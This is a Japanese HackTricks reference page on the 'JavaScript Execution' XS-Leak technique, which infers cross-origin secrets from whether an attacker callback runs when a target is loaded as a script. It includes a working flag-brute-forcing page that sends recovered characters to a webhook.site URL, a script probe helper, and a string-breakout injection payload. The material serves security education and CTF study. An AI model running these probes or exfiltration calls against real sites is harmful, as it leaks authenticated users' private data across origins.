JavaScript Execution XS Leak
Tip
AWS Hackingを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。
HackTricksをサポート
- subscription plans を確認してください!
- 💬 Discord group、telegram group に参加し、X/Twitterで @hacktricks_live をフォローするか、LinkedIn page と YouTube channel を確認してください。
- HackTricks と HackTricks Cloud の github repos に PR を送信して hacking tricks を共有してください。
この XS-Search primitive は、クロスオリジンのレスポンスが JavaScript として実行されるかどうか を Boolean oracle に変換します。
一般的な構成は次のとおりです:
- Positive state: target は attacker-controlled なテキスト、または attacker JavaScript としては 実行されない 機密コンテンツを返す。
- Negative state: target は attacker-controlled なテキストを、正当な JavaScript としてパースされる場所に反映するため、attacker は
window.parent.foo()のような callback を強制できる。 - Leak: 古典的な
<script src>で target を読み込み、callback が発火するかどうかを観測する。
これは基本的に execution oracle であり、timing oracle ではありません。attacker に必要なのは、secret に依存する分岐によって異なる振る舞いをする cross-origin script inclusion だけです。
一般的な XS-Leaks の背景については、こちらを参照してください:
When This Works
この technique は、以下のすべてが真のときに実用的です:
- victim が target origin に認証済みである。
- attacker が victim browser に target origin から classic script をリクエストさせられる。
- 片方の分岐が、attacker-controlled な有効な JavaScript を返す。
- もう片方の分岐が、attacker callback を実行しない コンテンツを返す。
実際には、最も簡単なのは次のような search/debug endpoints です:
- 予想が外れたときに attacker-controlled なテキストを返す
- 予想が当たったときに別の body を返す
- attacker が
callback、hint、msg、または反映される prefix/suffix のような parameter を選べる
Basic Example
${guess} を flag prefix として試す server-side code:
app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})
前の/guessingページに対して各可能性をテストするためにiframeを生成するメインページ:
<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1
let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}
timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}
// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>
攻撃者のロジックは次のとおりです:
- すべての候補を「good」として開始する。
- 対象のレスポンスを script として読み込む。
- レスポンスが
window.parent.foo()を実行した場合、その候補を wrong としてマークする。 - コールバックが発火しない場合、その候補を保持して brute-forcing を続ける。
Minimal Probe Pattern
多くの実際の対象では、iframe は不要です。直接の script inclusion で十分です:
<script>
let hit = true
function miss() {
hit = false
}
function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>
「wrong guess」ブランチが miss() を反映しているなら、次のようになります:
probe(...) === falseは、コールバックが実行されたか、load が失敗したことを意味するprobe(...) === trueは、script が attacker callback を実行せずに読み込まれたことを意味する
信頼性のために、probe ごとに fresh script element を使い、?r=${crypto.randomUUID()} のような cache-buster を追加します。
Modern Caveats
それは classic script でなければならない
この primitive は、browser が resource を classic script として fetch することに依存しています。crossorigin なしの素の <script src=...> は no-cors mode で fetch されます。これが、この古い pattern が cross-origin でも今なお有用な理由です。
この technique で type="module" に切り替えてはいけません:
- cross-origin の module scripts require CORS
- classic scripts として include できる多くの target は、module としては単に失敗する
MIME type と nosniff が payload の実行可否を決める
現在の browser は昔の writeup より厳格です。target が X-Content-Type-Options: nosniff を設定している場合、browser は MIME type が JavaScript MIME type ではない script response を block します。
つまり、この oracle はしばしば次に依存します:
- target が
application/javascript/text/javascriptを返すか - target が
text/plain、text/html、または JSON を返すか nosniffが存在するか
これが、ある endpoint では一方の branch だけで leak が得られる理由でもあります。片方の response は script として受理され、もう片方の branch は block されるか、別の方法で parse されます。
CORB は観測結果を変えうる
CORB は考慮すべき別の branch を追加します。response が CORB-protected と見なされると、Chromium は parse failure を表面化させる代わりに、それを empty valid script response に変えることがあります。そのため、いくつかの endpoint では:
- ある状態は通常の script parse / callback を引き起こす
- 別の状態は空の script になり、
onloadだけが発火する
それでも有用な oracle ですが、signal は単なる「JavaScript が実行されたかどうか」ではなく、callback vs no callback または onload vs onerror になります。
CSP は attacker-controlled branch を殺せる
target response 上の厳格な CSP は、反映された branch がもはや実行可能な JavaScript でなくなると、この primitive を壊すことがあります。2022 年から 2024 年の公開 XS-Leak challenge writeups は、この detail に繰り返し依存しています:
script-src 'none'は、attackers に direct execution oracle からの pivot を強制できる- CSP/SRI/CSP-report の相互作用は、依然として other leak oracles を生むことがあるが、それらは別の page/technique に属する
そのため、明らかな callback trick が動かないときは、endpoint を捨てる前に response headers を確認してください。
Useful Variants
Callback-parameter endpoints
最も扱いやすい target は、次のような parameter を受け付ける JSONP-style または debug endpoint です:
callback=...cb=...jsonp=...hint=...msg=...
「miss」branch がその値をそのまま executable JavaScript に反映し、「hit」branch が別の content を返すなら、timing measurement なしで直接 Boolean oracle が得られます。
Syntax-preserving prefixes and suffixes
ときには response body を完全には制御できませんが、それでも negative branch を実行させることはできます:
- 現在の string または function argument を閉じる
- callback を inject する
- trailing bytes を comment out する
たとえば、次のような reflected branch:
showResult("<attacker>");
しばしば次のように変換できます:
showResult("");window.parent.foo();//");
正の分岐がその payload を反映しない場合、callback が oracle になります。
event-based oracles と組み合わせる
endpoint がブラウザ間で不安定な場合は、execution oracle を、section index で既に扱った一般的な script load events と組み合わせます:
- callback fired
onloadonerror
これは、1つの分岐で有効な JavaScript が得られ、別の分岐で blocked MIME / CORB / CSP の挙動になる場合に特に有用です。
関連ページ:
Practical Notes
- 1 request あたり 1 bit を優先し、callback の副作用は単純に保つ。
- 多数の候補を調べる場合は、以前に挿入した
<script>要素を削除するか、各試行を新しい iframe で分離する。 - cache と service worker の挙動は oracle を汚染する可能性があるため、cache-busting を使う。
- この primitive は、negative branch が 完全に attacker-controlled JavaScript のとき最も強力です。部分的な reflection しか得られない場合、exploit は XS-Search 問題というより payload-shaping 問題になります。
References
- https://xsleaks.dev/docs/attacks/error-events/
- https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
Tip
AWS Hackingを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。
HackTricksをサポート
- subscription plans を確認してください!
- 💬 Discord group、telegram group に参加し、X/Twitterで @hacktricks_live をフォローするか、LinkedIn page と YouTube channel を確認してください。
- HackTricks と HackTricks Cloud の github repos に PR を送信して hacking tricks を共有してください。


